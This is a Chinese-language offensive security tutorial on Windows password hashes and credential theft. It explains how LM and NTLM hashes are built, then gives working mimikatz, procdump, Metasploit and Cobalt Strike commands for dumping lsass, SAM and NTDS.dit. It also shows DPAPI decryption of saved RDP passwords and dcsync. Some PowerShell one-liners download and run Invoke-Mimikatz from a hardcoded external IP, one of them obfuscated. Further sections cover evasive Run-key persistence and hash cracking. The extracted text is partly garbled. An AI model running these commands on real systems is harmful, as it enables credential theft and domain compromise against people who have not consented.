Windows HASH
HASH簡介
hash ,一般翻譯做散列,或音譯為哈希,所謂哈希,就是使用一種加密函數進行計算后的結果。這個
加密函數對一個任意長度的字符串數據進行一次數學加密函數運算,然后返回一個固定長度的字符串。
這種轉換是一種壓縮映射,也就是,散列值的空間通常遠小于輸入的空間,不同的輸入可能會散列成相
同的輸出,所以不可能從散列值來確定唯一的輸入值。簡單的說就是一種將任意長度的消息壓縮到某一
固定長度的消息摘要的函數。
windows HASH簡介
Windows 加密過的密碼口令,我們稱之為 hash
Windows 系統使用兩種方法對用戶的密碼進行哈希處理,它們分別是 LAN Manager ( LM ) 哈希和 NT
LAN Manager ( NTLM ) 哈希。
現在已經有了更新的 NTLMv2 以及 Kerberos 驗證體系。
LM-HASH
LM-HASH簡介
LAN Manager ( LM )哈希是 Windows 系統所用的第一種密碼哈希算法,是一種較古老的 Hash ,在 LAN Manager協議中使用,非常容易通過暴力破解獲取明文憑據。
它只有唯一一個版本且一直用到了 NT LAN Manager ( NTLM ) 哈希的出現,
在 Windows XP / Windows Server 2003 之前, 它是 Windows 上占主導地位的密碼存儲算法。
從 Windows Vista / Windows Server 2008 開始,默認情況下已禁用該算法。
LM 算法是在 DES 基礎上實現的,不區分字母大小寫。
LM-HASH生成原理
假設用戶密碼為: password
1. 將用戶密碼所有字符轉換為大寫: PASSWORD
2. 密碼長度不足 14 個字符將用 0 填充到 14 個字符
3. 這 14 個字符將被分成兩半: PASSWOR D000000
4. 將每一半轉換為位,并且每 7 位之后將添加一個奇偶校驗位 (0) ,因此結果為 64 位: 1101000011 - > 1101000 0 011 ,在將這些奇偶校驗位相加之后,我們將從兩個預先生成的兩半中獲得兩個密鑰 5. 分別用生成的兩個密鑰作為 key 對 KGS!@#$% 進行 DES 加密: PASSWOR =E52CAC67419A9A22
D000000 = 4A3B108F3FA6CB6D
6. 將加密后的兩組拼接在一起,得到 LM HASH 值: E52CAC67419A9A22 4A3B108F3FA6CB6D
使用 python 得到 LM HASH 值:
python3 -c "from passlib.hash import lmhash;print(lmhash.hash('password'))"
#coding=utf-8
import re
import binascii
from pyDes import *
def DesEncrypt ( str , Des_Key ):
k = des ( binascii . a2b_hex ( Des_Key ), ECB , pad = None )
EncryptStr = k . encrypt ( str )
return binascii . b2a_hex ( EncryptStr )
def group_just ( length , text ):
# text 00110001001100100011001100110100001101010011011000000000
text_area = re . findall ( r'.{%d}' % int ( length ), text ) # ['0011000',
'1001100', '1000110', '0110011', '0100001', '1010100', '1101100', '0000000']
text_area_padding = [ i + '0' for i in text_area ] #['00110000', '10011000',
'10001100', '01100110', '01000010', '10101000', '11011000', '00000000']
hex_str = '' . join ( text_area_padding ) #
0011000010011000100011000110011001000010101010001101100000000000
hex_int = hex ( int ( hex_str , 2 ))[ 2 :]. rstrip ( "L" ) #30988c6642a8d800
if hex_int == '0' :
hex_int = '0000000000000000'
return hex_int
def lm_hash ( password ):
# 1. 用戶的密碼轉換為大寫,密碼轉換為 16 進制字符串,不足 14 字節將會用 0 來再后面補全。
pass_hex = password . upper (). encode ( "hex" ). ljust ( 28 , '0' )
#3132333435360000000000000000
print ( pass_hex )
# 2. 密碼的 16 進制字符串被分成兩個 7byte 部分。每部分轉換成比特流,并且長度位 56bit ,長度不足
使用 0 在左邊補齊長度
left_str = pass_hex [: 14 ] #31323334353600
right_str = pass_hex [ 14 :] #00000000000000
left_stream = bin ( int ( left_str , 16 )). lstrip ( '0b' ). rjust ( 56 , '0' ) #
00110001001100100011001100110100001101010011011000000000
right_stream = bin ( int ( right_str , 16 )). lstrip ( '0b' ). rjust ( 56 , '0' ) #
00000000000000000000000000000000000000000000000000000000
# 3. 再分 7bit 為一組 , 每組末尾加 0 ,再組成一組
left_stream = group_just ( 7 , left_stream ) # 30988c6642a8d800
right_stream = group_just ( 7 , right_stream ) # 0000000000000000
# 4. 上步驟得到的二組,分別作為 key 為 "KGS!@#$%" 進行 DES 加密。
left_lm = DesEncrypt ( 'KGS!@#$%' , left_stream ) #44efce164ab921ca
right_lm = DesEncrypt ( 'KGS!@#$%' , right_stream ) # aad3b435b51404ee
# 5. 將加密后的兩組拼接在一起,得到最終 LM HASH 值。
return left_lm + right_lm
if __name__ == '__main__' :
hash = lm_hash ( "123456" )
LM-HASH缺點
1. 密碼長度最大只能為 14 個字符
2. 密碼不區分大小寫
3. 如果密碼強度是小于 7 位,那么第二個分組加密后的結果肯定是 aad3b435b51404ee ,如果我們看到 lm hash 的結尾是 aad3b435b51404ee ,就可以很輕易的發現密碼強度少于 7 位
4. 一個 14 個字符的密碼分成 7+7 個字符,并且分別為這兩個半部分計算哈希值。這種計算哈希值的方式使破解難度成倍增加,因為攻擊者需要將7 個字符(而不是 14 個字符)強制暴力破解。這使得 14 個字符的密碼的有效強度等于,或者是7 個字符的密碼的兩倍,該密碼的復雜度明顯低于 14 個字符的密碼的理論強度
5. DES 密碼強度不高
NTLM-HASH
NTLM-HASH簡介
NT LAN Manager ( NTLM ) 哈希是 Windows 系統認可的另一種算法,用于替代古老的 LM-Hash ,一般指
Windows 系統下 Security Account Manager ( SAM ) 中保存的用戶密碼 hash ,在 Windows
Vista/Windows 7/Windows Server 2008 以及后面的系統中, NTLM 哈希算法默認啟用。
NTLM-HASH生成原理
1. 先將用戶密碼轉換為十六進制格式。
2. 將十六進制格式的密碼進行 Unicode 編碼。
3. 使用 MD4 摘要算法對 Unicode 編碼數據進行 Hash 計算
HASH格式
Windows 的系統密碼 hash 默認情況下一般由兩部分組成:
第一部分是 LM - hash ,第二部分是 NTLM- hash 。

LM 哈希密碼最大長度為 14 ,密碼長度超過 14 位使用 NTLM 哈希
前面三個系統,當密碼超過14 位的時候會采用 NTLM 加密
前一部分是 LM Hash ,后一部分是 NTLM Hash
python2 - c "import hashlib,binascii;print
binascii.hexlify(hashlib.new('md4','123456'.encode('utf-16le')).digest())"
python3 - c "import
hashlib,binascii;print(binascii.hexlify(hashlib.new('md4','123456'.encode('utf-
16le')).digest()).decode())"
用戶名稱 :RID:LM-HASH 值 :NTLM-HASH 值
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248::: 當 LM Hash 是 AAD3B435B51404EEAAD3B435B51404EE 這表示 空密碼或者是未使用 LM_HASH
HASH存儲位置
windows hash 一般存儲在兩個地方:
SAM 文件,存儲在本機,對應本地用戶
NTDS.DIT 文件,存儲在域控上,對應域用戶
文件位置:
SAM :
C:\windows\system32\config\SAM
NTDS.DIT :
C:\windows\NTDS\NTDS.dit
Windows認證基礎
Windows 的認證包括三個部分:
本地認證:用戶直接操作計算機登錄賬戶
網絡認證:遠程連接到工作組中的某個設備
域認證:登陸到域環境中的某個設備
Windows本地認證
1. 用戶輸入密碼
2. 系統收到密碼后將用戶輸入的密碼計算成 NTLM Hash
3. 與 sam 數據庫( %SystemRoot%\system32\config\sam )中該用戶的哈希比對
4. 匹配則登陸成功,不匹配則登陸失敗
NTLM 哈希,是一種單向哈希算法, Windows 將用戶的密碼計算成 NTLM 哈希之后才存儲在電腦中。
本地認證中用來處理用戶輸入密碼的進程為 lsass.exe , 密碼會在這個進程中明文保存,供該進程將密碼計算成 NTLM Hash 與 sam 進行比對,我們使用 mimikatz 來獲取的明文密碼,便是在這個進程中讀取到的
Windows網絡認證
網絡認證即在工作組環境下遠程登陸另一臺電腦所采用的認證機制
NTLM 協議的認證過程分為三步,也叫挑戰相應機制:
1. 協商
雙方確定使用的協議版本, NTLM 存在 V1 和 V2 兩個版本,即 Net - NTLM v1 hash 、 Net - NTLM v2
hash ,具體區別就是加密方式不同
在 NTLM 認證中, NTLM 響應分為 NTLM v1 , NTLMv2 , NTLM session v2 三種協議,不同協議使用不同格式的 Challenge 和加密算法
SAM :
C:\windows\system32\config\SAM
NTDS.DIT :
C:\windows\NTDS\NTDS.dit
2. 質詢
挑戰( Chalenge ) / 響應( Response )認證機制的核心
1. 客戶端向服務器端發送用戶信息 ( 用戶名 ) 請求
2. 服務器接受到請求后,判斷本地用戶列表是否存在客戶端發送的用戶名,如果沒有返回認證失敗,如果有,生成一個16 位的隨機數,被稱之為 " Challenge " , 然后使用登錄用戶名對應的 NTLM Hash 加密 Challenge(16 位隨機字符 ) , 生成 Challenge1 保存在內存中。同時,生成 Challenge1 后,將 Challenge (16 位隨機字符 ) 明文發送給客戶端。
3. 客戶端接受到 Challenge 后,使用自己提供的賬戶的密碼轉換成對應的 NTLM Hash ,然后使用這個 NTLM Hash 加密 Challenge 生成 Response ,然后將 Response 發送至服務器端。
3. 驗證
在質詢完成后,驗證結果,是認證的最后一步。
服務端收到客戶端發送的 Response 后,與之前保存在內存中的 Channelge1 比較,如果相等認證通過
其中,經過 NTLM Hash 加密 Challenge 的結果在網絡協議中稱之為 Net NTLM Hash (不能直接用來進行哈希傳遞攻擊,但可以通過暴力破解來獲取明文密碼)
其中的關鍵點在于:第二步中客戶端發送的是 NTLM 哈希值與隨機字符串加密的結果,而這個 NTLM 哈希是由用戶輸入的密碼本地計算得出的,所以在這個步驟中,只要能提供正確的 NTLM 哈希即使不知道正確的密碼也可通過認證
net-ntlm hash破解
NTLMv2 的格式為:
username::domain:challenge:HMAC-MD5:blob
hashcat -m 5600 net-ntlm /tmp/password.list -o found.txt --force
-m : hash-type , 5600 對應 NetNTLMv2
詳細參數可查表: https://hashcat.net/wiki/doku.php?
-o :輸出文件 字典文件為 /tmp/password.list
--force :代表強制執行,測試系統不支持 Intel OpenCL
Windows密碼憑證獲取
系統用戶憑證獲取
mimikatz
mimikatz for Win10 下載:
https://github.com/gentilkiwi/mimikatz/releases
本地非交互式憑證獲取:
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
2.0
privilege::debug // 提升權限
sekurlsa::logonpasswords // 抓取密碼
1.X
privilege::debug // 提升權限
inject::process lsass.exe sekurlsa.dll ? // 注入 sekurlsa.dll 到 lsass.exe 進程里
@getLogonPasswords ? ? // 獲取密碼
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit
Powershell腳本
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.p
s1
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.p
s1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mi
mikatz.ps1
Powershell 本地加載 mimikatz 腳本:
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "sekurlsa::logonPasswords full"'
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "token::elevate" "lsadump::sam"'
Powershell 遠程加載 mimikatz 腳本
powershell IEX (New-Object
Net.WebClient).DownloadString('http://47.101.214.85:8000/Invoke
Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
powershell 混淆
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject
Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'47.101.214'+'
.85:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke
Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
Powershell 加載 Get-PassHashes 腳本:
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.p
s1
powershell IEX(new-object
net.webclient).downloadstring('http://47.101.214.85:8000/Get
PassHashes.ps1');Get-PassHashes
procdump+mimikatz
Procdump 下載: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump lsass 進程導出 :
For 32bits :
procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits :
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
然后使用 mimikatz 還原密碼:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
注冊表導出Hash
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
mimikatz :
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
impacket :
https://github.com/SecureAuthCorp/impacket/tree/master/examples
LaZagne
https://github.com/AlessandroZ/LaZagne
pip3 install -r requirements.txt
# 如果提示找不到 Crypto 模塊, 就到 pip 包安裝位置
C:\Users\[User]\AppData\Roaming\Python\Python38\site-packages
把 crypto 文件夾重命名為 Crypto
Meterpreter獲取Hash
Hashdump
use post/windows/gather/hashdump //system 權限的 meterpreter
set session 1
exploit // 結果保存在 tmp 目錄下
use post/windows/gather/smart_hashdump
set session 1
exploit
Hash 格式: 用戶名稱 :RID:LM - HASH 值 :NTLM - HASH 值
Mimikatz
Hashdump 使用的是 mimikatz 的部分功能
load mimikatz ? // 加載模塊
wdigest 、 kerberos 、 msv 、 ssp 、 tspkg 、 livessp ? // 獲取用戶密碼的 hash 值
mimikatz_command -h
mimikatz_command -f :: ? // 查詢有哪些模塊
mimikatz_command -f samdump::hashes ? // 從 windows 的 sam 文件中讀取密碼 hash 值
mimikatz_command -f sekurlsa::searchPasswords ? // 獲取明文密碼
mimikatz_command -f samdump::bootkey
# msf6
load kiwi
help kiwi
creds_all // 列舉系統中的明文密碼
lsa_dump_sam // 讀取 sam 文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd 命令后面接 mimikatz 的命令
CobaltStrike獲取Hash
beacon> hashdump
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords
其他密碼憑證獲取
1 RDP連接密碼解密
mimikatz
查看本地機器本地連接過的目標機器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
/s
查看本地用戶此目錄下是否存有 RDP密碼文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
1E85A94EE31F584E484B8120E3ADA266
9D4E7B34E2541E8AB9F716D127DFFC87
AAAD88ECA44F5AAA1754B5E18F7EB12D
DFBE70A7E5CC19A398EBF1B96859CE5D
E05DBE15D38053457F3523A375594044
查看保存在本地的遠程主機信息
cmdkey /list
選擇一個密碼文件對其進行解密。
此處需要記錄下 guidMasterKey 的值,待會要通過 guidMasterKey 找對應的 Masterkey 。
privilege::debug
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
guidMasterKey : {34dc48bb-0af9-4925-bf07-f54ba502a40a}
根據 guidMasterKey 找到對應的 Masterkey
sekurlsa::dpapi
通過 Masterkey 解密 pbData 數據,拿到明文 RDP 連接密碼
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
/masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5
bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8
netpass
https://www.nirsoft.net/x64_download_package.html
https://www.nirsoft.net/packages/x64tools.zip nirsoft123!
Powershell腳本獲取RDP連接記錄
https://github.com/3gstudent/List-RDP-Connections-History.git
Cobaltstrike
beacon> shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server
Client\Servers" /s
[*] Tasked beacon to run: reg query
"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
[+] host called home, sent: 113 bytes
[+] received output:
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\10.10.10.6
? UsernameHint ? REG_SZ ? MINGY\Administrator
beacon> shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
[*] Tasked beacon to run: dir /a
%userprofile%\AppData\Local\Microsoft\Credentials\*
[+] host called home, sent: 89 bytes
[+] received output:
驅動器 C 中的卷沒有標簽。
卷的序列號是 C883-5B4B
C:\Users\Administrator\AppData\Local\Microsoft\Credentials 的目錄
2020/09/04 13:24 ? <DIR> ? ? ? ? .
2020/09/04 13:24 ? <DIR> ? ? ? ? ..
2020/09/04 13:24 ? ? ? ? ? ? ? 434 8CAC243098BA9DDD4EAB58433B85D7F0 ? ? ? ? ? ? ? 1 個文件 ? ? ? ? ? 434 字節
? ? ? ? ? ? ? 2 個目錄 56,959,107,072 可用字節
beacon> shell cmdkey /list
[*] Tasked beacon to run: cmdkey /list
[+] host called home, sent: 43 bytes
[+] received output:
當前保存的憑據 :
目標 : Domain:target=TERMSRV/10.10.10.6
類型 : 域密碼
用戶 : WIN7-1\administrator
本地機器持續時間
目標 : LegacyGeneric:target=MINGY\WIN7-1
類型 : 普通
用戶 : MINGY\WIN7-1
目標 : LegacyGeneric:target=WIN7-1\Administrator
類型 : 普通
用戶 : WIN7-1\Administrator
2 Mysql數據庫密碼破解
一旦獲取了網站一定的權限后,如果能夠獲取 MySQL 中保存用戶數據,通過解密后,即可通過正常途徑
來訪問數據庫;一方面可以直接操作數據庫中的數據,另一方面可以用來提升權限。
MySQL 數據庫用戶密碼跟其它數據庫用戶密碼一樣,在應用系統代碼中都是以明文出現的,在獲取文件
讀取權限后即可直接從數據庫連接文件中讀取
一般都包含有數據庫類型,物理位置,用戶名和密碼等信息
1. MYSQL數據庫文件類型
MYSQL 數據庫文件共有 frm 、 MYD 和 MYI 三種文件
".frm" 是描述表結構的文件
".MYD" 是表的數據文件
".MYI" 是表數據文件中任何索引的數據樹
一般是單獨存在一個文件夾中
與用戶有關的一共有三個文件即 user.frm 、 user.MYD 和 user.MYI , MYSQL 數據庫用戶密碼都保存
在 user.MYD 文件中,包括 root 用戶和其他用戶的密碼。
2. Mysql加密方式
MYSQL 數據庫的認證密碼有兩種方式
MYSQL 4.1 版本之前是 MYSQL323 加密, MYSQL 4.1 和之后的版本都是 MYSQLSHA1 加密
MYSQL 數據庫中自帶 Old_Password(str) 和 Password(str) 函數 , 它們均可以在 MYSQL 數據庫里進
行查詢,前者是 MYSQL323 加密,后者是 MYSQLSHA1 方式加密。
mysql> select Password('root');
+-------------------------------------------+
| Password('root') ? ? ? ? ? ? ? ? ? ? ? ? |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set
mimikatz "privilege::debug" "dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\8CAC243098BA9DDD4EAB58433
B85D7F0" "exit" MYSQL323 加密中生成的是 16 位字符串,而在 MYSQLSHA1 中生成的是 41 位字符串,其中 * 是不加入實際
的密碼運算中, MYSQLSHA1 加密的密碼的實際位數是 40 位
3. 獲取Mysql數據庫密碼hash值
用 winhex 編輯器打開 user.MYD 文件,使用二進制模式查看,即可得到密碼 Hash值:81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
4. Hash破解
在線網站破解
www.cmd5.com
www.somd5.com
hashcat 破解
hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
john the ripper 破解
john --list=format | grep mysql
john --format=mysql-sha1 mysql.hash
Cain 破解
3 其他應用程序密碼破解
https://github.com/uknowsec/SharpDecryptPwd
對密碼已保存在 Windwos 系統上的部分程序進行解析 , 包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列產品( Xshell,Xftp) 。
源碼:
https://github.com/RowTeam/SharpDecryptPwd
域內密碼憑證獲取
Ntds.dit
活動目錄數據庫( NTDS.DIT )
Ntds.dit 是主要的 AD 數據庫,包括有關域用戶,組和組成員身份的信息。它還包括域中所有用戶的密碼哈希值。為了進一步保護密碼哈希值,使用存儲在 SYSTEM 注冊表配置單元中的密鑰對這些哈希值進行加密。第二個加密步驟是為了執行密碼轉儲以進行審計,需要兩個文件的副本。
非域環境也就是在工作組環境中,有一個 sam 文件存儲著當前主機用戶的密碼信息,想要破解 sam 文件與ntds.dit 文件都需要擁有一個 system 文件。
AD DS 數據存儲:
由 Ntds.dit 文件構成
默認存儲在所有域控制器上的 %SystemRoot%\NTDS 文件夾中
只能通過域控制器進程和協議訪問
Ntds.dit : ( 也被稱為 Active Directory database) 包含了當前域中所有的用戶的賬號信息,和其 HASH 值通過獲取 Ntds.dit 和 SYSTEM 文件的副本,最可靠的執行密碼審計的方法是脫機的。 由于 Windows 阻止這些操作阻止標準讀取或復制,因此必須使用特殊技術來獲取副本。
ntds.dit 文件位置 : C:\Windows\NTDS\NTDS.dit
system 文件位置 :C:\Windows\System32\config\SYSTEM
sam 文件位置 :C:\Windows\System32\config\SAM
1 活動目錄數據庫
由 NTDS.DIT 文件構成,是 Active Directory 的核心
存儲在域控的 %SystemRoot%\ntds\ 文件夾下
只能通過域控制器進程和協議訪問
在工作組環境中, SAM 文件存儲著當前主機用戶的密碼哈希值
在域環境中, NTDS.DIT 文件存儲了域中所有用戶的密碼哈希值
因此我們可以通過獲取到這兩個文件,然后破解得到其中所存儲的密碼哈希值。
Windows 系統為了進一步保護存儲的密碼哈希值,使用存儲在 SYSTEM 注冊表配置單元中的密鑰對這些哈希值進行加密。
因此想要破解 SAM 文件與 NTDS.DIT 文件都需要獲取一個 SYSTEM 文件。
由于 Window 會阻止對這些文件的標準讀取或復制操作,如果直接去復制 NTDS.DIT 文件,會提示文件被系統占用,所以常規的復制下載方法是無法獲取到文件副本的,因此需要通過特殊方法來獲取。
2 Volume Shadow Copy
Volume Shadow Copy Service
Volume Shadow Copy Service 卷影復制服務( VSS )是微軟從 Windows XP 開始提供的用于創建一
致性的時間點副本(也就是快照)的服務框架。用于更好的備份和還原關鍵業務數據。當所有組件都支持VSS 時,可以使用它們來備份應用程序數據,而無需使應用程序脫機。
用于數據備份
支持 Windows Server 2003 及以上操作系統
系統默認在特定條件下自動創建數據備份,如補丁安裝后。在 Win7 系統大概每隔一周自動創建備
份,該時間無法確定
禁用 VSS 會影響系統正常使用,如 System Restore 和 Windows Server Backup
我們可以利用 Volume Shadow Copy Service 來獲取 NTDS.DIT 、 SAM 、 SYSTEM 等文件副本。
注意:
1. 調用 Volume Shadow Copy 服務會產生 SYSTEM 日志, Event ID 為 7036 。
2. 執行 ntdsutil snapshot "activate instance ntds" create quit quit 會額外產生 Event
ID 為 98 的日志
hash 數量:所有用戶
免殺:不需要
優點:
獲得信息全面
簡單高效
無需下載 ntds.dit ,隱蔽性高
3 Ntdsutil
域環境默認安裝
支持系統:
Server 2003
Server 2008
Server 2012
3.1 交互式
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
//copy 完之后再執行
unmout [GUID]
del [GUID]
1. 以管理員身份打開命令提示符( cmd.exe )
2. 在命令提示符輸入 ntdsutil 命令
3. 在 ntdsutil 提示符下輸入
activate instance ntds
ifm
create full <Drive>:\<Folder>
<Drive>:\<Folder> 是要創建文件的文件夾路徑。
3.2 非交互
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
3.2.1 查詢當前系統的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
3.2.2 創建快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid 為 {daee5123 - b284 - 47fe - b02e - 6e67e8d80fb1}
3.2.3 掛載快照
ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
快照掛載為 C:\$SNAP_201908291617_VOLUMEC$\
3.2.4 復制ntds.dit
copy C:\$SNAP_202008271744_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit
3.2.5 卸載快照
ntdsutil snapshot "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
3.2.6 刪除快照
ntdsutil snapshot "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
4 Vssadmin
域環境默認安裝
支持系統:
Server 2008
Server 2012
4.1 查詢當前系統的快照
vssadmin list shadows
4.2 創建快照
vssadmin create shadow /for=c:
獲得 Shadow Copy Volume Name 為 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
4.3 復制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit
c:\ntds3.dit
4.4 刪除快照
vssadmin delete shadows /for=c: /quiet
5 Vshadow
Vshadow (? vshadow.exe ?) 是用于管理卷影副本的命令行實用程序。此工具包含在 Microsoft
Windows Software Development Kit (SDK) 中,有 Microsoft 簽名。
Vshadow 有很多功能,包括執行腳本和調用命令以支持卷影快照管理的能力。
5.1 查詢當前系統的快照
vshadow.exe -q
5.2 創建快照
vshadow.exe -p -nw C:
參數說明:
-p persistent ,備份操作或是重啟系統不會刪除
-nw no writers ,用來提高創建速度
C: 對應 c 盤
獲得 SnapshotSetID 、 SnapshotID 、 Shadow copy device name
5.3 復制ntds.dit
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit
5.4 刪除快照
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId
5.5 利用vshadow執行命令
參考: https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-ev
asion-persistence-and-active-directory-database-extraction/
Vshadow.exe 支持 - exec 參數,可用于執行二進制文件( .exe )或腳本( .bat/.cmd )。
-exec 參數不支持命令參數
要求:
管理員權限
上傳 Vshadow.exe
上傳攻擊載荷
執行命令格式:vshadow.exe -nw -exec=<\path\to\exe> < 系統驅動器 >
-nw :允許我們在不調用卷影副本編寫器的情況下創建卷影副本,實際上,這是一個非持久性卷影副本,不會留下“ 物理 ” 磁盤證據
執行命令:
beacon> shell vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
[*] Tasked beacon to run: vshadow.exe -nw -exec=c:\windows\system32\notepad.exe
c:
[+] host called home, sent: 87 bytes
成功執行 Vshadow 將啟動卷影服務 (VSS) ,如系統事件 ID 7036 所示,并調用 VSSVC.exe 進程。
執行后,后臺存在進程 VSSVC.exe ,同時顯示服務 Volume Shadow Copy 正在運行,需要手動關閉進程 VSSVC.exe
注:手動關閉進程 VSSVC.exe 會生成日志 7034
5.6 自啟動持久化和規避
利用思路:
vshadow.exe 包含微軟簽名,能繞過某些白名單的限制。如果作為啟動項, Autoruns的默認啟動列表不顯示
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t
REG_EXPAND_SZ /d "C:\Program Files (x86)\Windows
Kits\10\bin\10.0.16299.0\x64\vshadow.exe -nw -
exec=c:\windows\system32\notepad.exe c:"
在 AutoRuns 中,當過濾 “Microsoft Entries” 時,我們將 看 不到我們的登錄條目
但是,如果我們取消選擇 “Microsoft Entries” 并啟用 “Windows Entries” ,我們將看到我們的持久性機制的記錄
6 NinjaCopy
下載地址: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltra
tion/Invoke-NinjaCopy.ps1
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination
.\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
.\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination
"C:\Users\Administrator\Desktop\ntds.dit"
beacon> powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[*] Tasked beacon to import: C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[+] host called home, sent: 206740 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[+] host called home, sent: 493 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -
LocalDestination c:\system.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path
C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
[+] host called home, sent: 509 bytes
beacon> powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[*] Tasked beacon to run: Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[+] host called home, sent: 481 bytes 沒有調用 Volume Shadow Copy 服務,因此不會產生日志
7 解密NTDS.DIT文件
7.1 Mimikatz在線破解
在線破解,不用將域控上的 ntds.dit 文件下載下來,直接在已有的 shell 上破解。
有一個 cs 彈回的 beacon ,就可以在 beacon 中直接利用 mimikatz 來破解,這一切的前提是有管理員權限Mimikatz有一個功能( dcsync ),它可以利用目錄復制服務( Directory Replication Service, DRS )從NTDS.DIT文件中提取密碼哈希值。
使用 Mimikatz 的 dcsync 功能,可以利用目錄復制服務( Directory Replication Service, DRS )從
NTDS.DIT 文件中提取密碼哈希值。
在獲得管理員權限后,通過 Cobaltstrike 彈回的 beacon 利用 mimikatz 模塊進行密碼 Hash 提取。
獲取 mingy 域內所有用戶Hash
lsadump::dcsync /domain:mingy.com /all /csv
查看單個用戶的詳細信息
mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt
查看所有用戶的詳細信息
mimikatz lsadump::lsa /inject
7.2 離線破解
離線破解一般需要兩步,首先就是將遠端域控的 ntds.dit 下載到本地,然后再在本地進行破解。
ntds.dit 文件一直在被 windows 系統使用,所以常規的復制下載方法是無法將文件下載到本地的。
首先將域控的 NTDS.DIT 和 SYSTEM 文件下載到本地,然后在本地進行破解。
QuarksPwDump
QuarksPwDump 是一款用于 Windows 用戶憑據提取的開源工具,它可以抓取 windows 平臺下多種類型
的用戶憑據,包括:本地帳戶、域帳戶、緩存的域帳戶和 Bitlocker 。
1. 修復復制出來的數據庫
esentutl /p /o ntds.dit 2. 使用 QuarksPwDump 直接讀取信息并將結果導出至文件
